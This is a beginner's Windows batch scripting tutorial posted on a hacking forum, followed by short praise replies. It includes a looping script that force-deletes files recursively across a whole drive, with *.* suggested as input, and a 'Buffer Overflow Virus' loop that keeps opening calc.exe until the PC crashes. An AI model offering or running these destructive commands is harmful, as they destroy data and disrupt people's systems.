Hello There, Guest! Login Register
Logo
Dismiss this notice
MaDLeeTs is not responsible for any attacks that are carried out on networks, websites or servers.
MaDLeeTs staff members cannot be held responsible.
All information on this forum is for educational purposes only.


Batch Programming for Beginners

  • 1 Vote(s) - 3 Average


08-06-2012, 06:19 AM #1
zahidadeel Offline Respected *****
Respected
Posts:41 Threads:6 Joined:Jun 2012 Reputation: 0
Mood: None
Salam brothers
i m writing this thread for beginners..and i hope u will appreciate it Smiley1
this thread is on simple batch codes..and in next thread i will discuss advanced level things like conditional if else statements and dealing with registry
i m not a pro on DOS..but i would love to share my small knowledge with u Smiley1
So lets start

DOS Variables:
in dos there are 2 types of variables
1-Local Environment Variables
2-User Defined variables

1-Local Environment Variables are the variables used by windows..to check these variables and there values just open cmd
and type following command
code:
set
a lot of data will appear on screen.. i.e. HOMEDRIVE=C: , USERNAME=ZAHID etc
here "HOMEDRIVE" is variable name and "C:" is its value
to use value of variable we place % sign at start and end of variable name i.e. %HOMEDRIVE% , %USERNAME% etc
run following commands on cmd and check output values of local var

code:
echo %HOMEDRIVE%
echo %USERNAME%

u can use advanced commands with these variables like this

code:
cd %HOMEDRIVE%
net user %USERNAME%

2-User Defined Variables are defined by users.In DOS to declare a variable we use command "set" (without quotes)
Basically there are 2 types of user defined variables
1-Prompting------------> set /p (declaration command)
2-Arithmatic-----------> set /a (declaration command)

Code:
@echo off
echo Enter Choice
set /p choice=
echo Your Choice is %choice%
pause
exit


write this code in notepad and save it with .bat extension i.e. zahid.bat and run it

code briefing:
here in this code @echo off won't echo (display) our input commands rather it will just display outputs of those commands
on 3rd line i m creating a variable named "choice" ..its being created by /p switch../p denotes prompting type variables
..this variable will prompt user for an input and on 4th line i m displaying output of variable "choice" ..pause command halts code execution
and prompts user for pressing any key to proceed further

code:
@echo off
echo Enter X
set /p x=
echo Enter Y
set /p y=
set /a sum=x+y
echo sum:%sum%
pause
exit

Make bat file and run it

Code Briefing:
in above code we are getting 2 variables x and y by prompting varaibles.and after that we are getting their sum by arithmatic variable

now as we have got basics of variables in DOS ..so lets use these wink

I m now going to make a batch file which will kill running process

Task killer batch file:
======================

Code:
@echo off
title Task Killer
color 0A
echo *************Welcome to Task Killer**************
set /p task="Enter task name you want to kill:"
taskkill /IM %task%
pause
exit

Code Briefing:
taskkill command is used to kill tasks..for furthur information about it type

code:
taskkill /?

in cmd and get its all info
color command is used to change background and text color of cmd ..it accepts hex values in its parameter i.e. color 0A in this zero value will change background color and HEX value "A" will change text color ..try different values for fun ..i.e.color FF ,color 05 etc
title command gives title to running cmd console which appears on top of command prompt window..


Make bat file and run it..to verify it run firefox ..and in our batch script give input "firefox.exe" ..our batch file will kill this process
and would prompt a success msg

NoteSadsmileyfollowing 2 codes are same so don't get confuse with variable declaration)

set /p task="Enter"

and

echo Enter
set /p task=

---------------------------------------------------------------------
now lets make some rocking code Smiley1

this following batch file will delete provided file from dir and all subdirectories of a drive ..cool Biggrinsmiley

File Deleting Batch Code
========================
@echo off
title Delete Destuction Code
color 0C
:loop
echo =============Welcome to Delete Destruction Code================
echo.
set /p drive="Enter the logical drive where file exists(i.e. CSmiley1:"
echo.
%drive%
set /p file="Enter File name to be deleted from whole logical drive(i.e. zahid.txt):"
del /F /Q /S %file%
goto loop
pause
exit


Code Briefing:
in above code i used " :loop " ...this notation is called label..after a colon sign u can use any name to declare a label i.e. :home , :back etc
each and every command written after a label delaration will inside the body of label ..
goto command is used to jump to some label ..like in this code we used goto command to jump to label named loop and running our code repeatedly

Make bat file of it and run it..u can give *.* input to delete all available files on logical drive ..so bros use it on ur own risk Biggrinsmiley


Buffer OverFlow Virus
=====================

Code:

@echo off
title Buffer Overflow Virus
color 0C
echo Welcome to Buffer Overflow Virus
echo.
:virus
start /max calc.exe
goto virus

exit

Code Briefing:
start command is used to start any application through DOS... /max switch indicates that all opened apps will be maximized after opening

Save it as bat file and run it Biggrinsmiley ...it will make u restart ur PC Smiley1

Remeber me in ur prayerz

08-06-2012, 01:26 PM #2
H4x0rl1f3 Offline Commander In Cheif *******
Administrators
Posts:1,129 Threads:25 Joined:Jun 2012 Reputation: 15
Mood: Stoned
good work

Always Aspect Reward from the Creator and not anyone or anything Created.
For Complaints & Help Contact:- [email protected]
Zone-h
http://zone-h.org/archive/notifier=H4x0rL1f3
I am the orphan of Gaza & Kashmir. Ruins of Iraq,Syria & Palestine Bombarded of Pakistan,Afghanistan, Mali & Yemen Change of Libya and Egypt Discriminated of Bahrain & Turkey Freedom of Earth's paradise and Al-AQSA. I am the hunger stricken child of Somalia, Ethopia, & rest of Africa I am the suffering of each and every single corner of the world. But Listen!!! Hope is what I am!!


08-06-2012, 01:47 PM #3
zahidadeel Offline Respected *****
Respected
Posts:41 Threads:6 Joined:Jun 2012 Reputation: 0
Mood: None
thnx Smiley1

12-11-2012, 12:55 AM #4
anon Offline I'm anonymous ***
Registered
Posts:148 Threads:0 Joined:Dec 2012 Reputation: 0
Mood: None
good job bro Smiley1

anon88

12-11-2012, 04:07 AM #5
DeaTh AnGeL Offline MadLeets Vip ******
V.I.P
Posts:141 Threads:7 Joined:Jun 2012 Reputation: 0
Mood: None
oh i love batch programing..
Gr8 Post..
thnx for sharing..

01-02-2013, 12:49 AM #6
[email protected] Offline Posting Freak *****
Registered
Posts:936 Threads:133 Joined:Dec 2012 Reputation: 1
Mood: None
Goooood Work Bro Smiley1 Kepp It Up The Share



08-06-2013, 08:56 PM #7
X LeeT Offline Founder @ Cyber-devils.com *****
Respected
Posts:435 Threads:31 Joined:Jul 2013 Reputation: 0
Mood: None
good work keep it up Smiley1

[Image: o8rq6s.jpg]

08-06-2013, 09:23 PM #8
FOH Offline Father Of Hacking ******
V.I.P
Posts:889 Threads:31 Joined:Jul 2012 Reputation: 4
Mood: Relaxed
GooD Work bro Biggrinsmiley

NO FEAR Father Of Hacking (FOH) IS HERE


08-06-2013, 09:55 PM #9
AZ Sn1ff3r (PCP) Offline Mad Lover of Security ******
V.I.P
Posts:461 Threads:46 Joined:Mar 2013 Reputation: 0
Mood: Mad
nice share br0 Biggrinsmiley Biggrinsmiley Biggrinsmiley

09-28-2013, 02:09 PM #10
rkpython Offline AgyyaT **
Registered
Posts:3 Threads:2 Joined:Sep 2013 Reputation: 0
Mood: None
nice work bro...it is very helpful....

but i have a good book for further reading....if anyone want........

//* batch file programming by premkumar.s
batch file programming by ankit fadia...*//

hope it will helpful for my friends


Attached Files
.pdf Batch File Programming - Ankit Fadia.pdf Size: 119.16 KB  Downloads: 7

DR.....& AgyyaT






Forum Jump:


Users browsing this thread:1 Guest(s)